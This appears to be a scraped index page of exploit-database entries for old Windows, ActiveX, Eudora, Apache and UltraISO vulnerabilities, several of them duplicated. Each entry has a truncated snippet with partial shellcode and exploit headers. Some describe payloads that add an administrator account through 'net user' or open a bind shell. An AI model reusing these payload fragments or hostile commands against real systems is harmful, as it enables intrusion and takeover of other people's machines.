Yahoo! Messenger Webcam 8.1 - ActiveX Remote Buffer Overflow

Yahoo! Messenger Webcam 8.1 - ActiveX Remote Buffer Overflow shellcode = unescape"%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +...

MS Internet Explorer Object Tag Exploit (MS03-020)

Exploit for unknown platform in category remote exploits ================================================== MS Internet Explorer Object Tag Exploit MS03-020 ================================================== !/usr/bin/perl Proof of concept exploit on IE 5.x - 6.x by Alumni IE-Object longtype...

Microsoft Windows Animated Cursor Stack Overflow Exploit

Exploit for unknown platform in category remote exploits ======================================================== Microsoft Windows Animated Cursor Stack Overflow Exploit ======================================================== !/usr/bin/env python $Id: win32-loadaniicon.py 4 2007-06-02 00:47:59Z...

Yahoo! Messenger Webcam 8.1 ActiveX Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ================================================================== Yahoo! Messenger Webcam 8.1 ActiveX Remote Buffer Overflow Exploit ================================================================== shellcode =...

Microsoft Internet Explorer 6 Provideo Camimage - ISSCamControl.dll 1.0.1.5 Remote Buffer Overflow

Microsoft Internet Explorer 6 Provideo Camimage - ISSCamControl.dll 1.0.1.5 Remote Buffer Overflow REM metasploit one, add a user 'su' with pass 'tzu' shellcode =...

Vivotek Motion Jpeg Control (MjpegDecoder.dll 2.0.0.13) Remote Exploit

No description provided by source. !-- IE 6 / Vivotek Motion Jpeg Control MjpegDecoder.dll 2.0.0.13 remote buffer overflow exploit / win 2k sp4 en version by rgod site: retrogod.altervista.org software site: http://www.vivotek.com/ "VIVOTEK INC. is a leading IP surveillance camera and Network...

win32 IsDebuggerPresent ShellCode (NT/XP) 39 bytes

No description provided by source. / Shellcode Length: 39 bytes / / sets PEB-BeingDebugged to 0 / / IsDebuggerPresent/BeingDebugged bypass / / by ex-pb @ [email protected] / / greets: xgx and all i forgot / include stdio.h include windows.h char ShellCode = "\xEB"...

Eudora 7.1.0.9 (IMAP FLAGS) Remote SEH Overwrite Exploit 0day

No description provided by source. !/usr/bin/python Eudora 7.1 IMAP FLAGS 0day Remote SEH Overwrite PoC Exploit Bug discovered by Krystian Kloskowski h07 [email protected] Tested on Eudora 7.1.0.9 / 2k SP4 Polish Shellcode type: Windows Execute Command calc.exe Details:.. Eudora -- SELECT IMBOX...

Vivotek Motion Jpeg Control - MjpegDecoder.dll 2.0.0.13 Remote Overflow

Vivotek Motion Jpeg Control - MjpegDecoder.dll 2.0.0.13 Remote Overflow ' metasploit one, alpha2... add a user 'sun' with pass 'tzu' FRAGMENT =...

win32 IsDebuggerPresent ShellCode NT/XP 39 bytes

win32 IsDebuggerPresent ShellCode NT/XP 39 bytes. Shellcode exploit for win32 platform / Shellcode Length: 39 bytes / / sets PEB-BeingDebugged to 0 / / IsDebuggerPresent/BeingDebugged bypass / / by ex-pb @ [email protected] / / greets: xgx and all i forgot / include include char ShellCode = "\xEB"...

eudora-seh-overwrite.txt

!/usr/bin/python Eudora 7.1 IMAP FLAGS 0day Remote SEH Overwrite PoC Exploit Bug discovered by Krystian Kloskowski h07 Tested on Eudora 7.1.0.9 / 2k SP4 Polish Shellcode type: Windows Execute Command calc.exe Details:.. Eudora -- SELECT IMBOX --------- IMAP server Eudora -- FLAGS ..AAAA... ----...

Vivotek Motion Jpeg Control (MjpegDecoder.dll 2.0.0.13) Remote Exploit

Exploit for unknown platform in category remote exploits ====================================================================== Vivotek Motion Jpeg Control MjpegDecoder.dll 2.0.0.13 Remote Exploit ====================================================================== ' metasploit one, alpha2... a...

win32 IsDebuggerPresent ShellCode (NT/XP) 39 bytes

Exploit for win32 platform in category shellcode ================================================== win32 IsDebuggerPresent ShellCode NT/XP 39 bytes ================================================== / Shellcode Length: 39 bytes / / sets PEB-BeingDebugged to 0 / / IsDebuggerPresent/BeingDebugged...

apache2058-rewrite.txt

/ apache mod rewrite exploit win32 By: fabio/b0x oc-192, old CoTS member Vuln details: http://www.securityfocus.com/archive/1/archive/1/443870/100/0/threaded Code: bind shell on port 4445, tested on apache 2.0.58 with modrewrite windows 2003 original exploit http://milw0rm.com/exploits/3680 only...

ultra-local.txt

ultra iso exploit thomas . pollet @ gmail . com import struct scode=metasploit calc.exe shellcode "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34...

ie6dart-overflow.txt

'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add shellcode =...

UltraISO 8.6.2.2011 - '.cue/'.bin' Local Buffer Overflow (2)

ultra iso exploit thomas . pollet @ gmail . com import struct scode=metasploit calc.exe shellcode "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34...

UltraISO 8.6.2.2011 - .cue.bin Local Buffer Overflow (2)

UltraISO 8.6.2.2011 - .cue.bin Local Buffer Overflow 2 ultra iso exploit thomas . pollet @ gmail . com import struct scode=metasploit calc.exe shellcode "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"...

Dart Communications PowerTCP ZIP Compression Remote BoF Exploit

No description provided by source. !-- IE 6 / Dart Communications PowerTCP ZIP Compression Control DartZip.dll 1.8.5.3 remote buffer overflow exploit / xp sp2 it by rgod site: retrogod.altervista.org software site: www.dart.com -- html object classid='clsid:42BA826E-F8D8-4D8D-8C05-14ABCE99D4DD'...

Apache 2.0.58 mod_rewrite Remote Overflow Exploit (win2k3)

No description provided by source. / apache mod rewrite exploit win32 By: fabio/b0x oc-192, old CoTS member Vuln details: http://www.securityfocus.com/archive/1/archive/1/443870/100/0/threaded Code: bind shell on port 4445, tested on apache 2.0.58 with modrewrite windows 2003...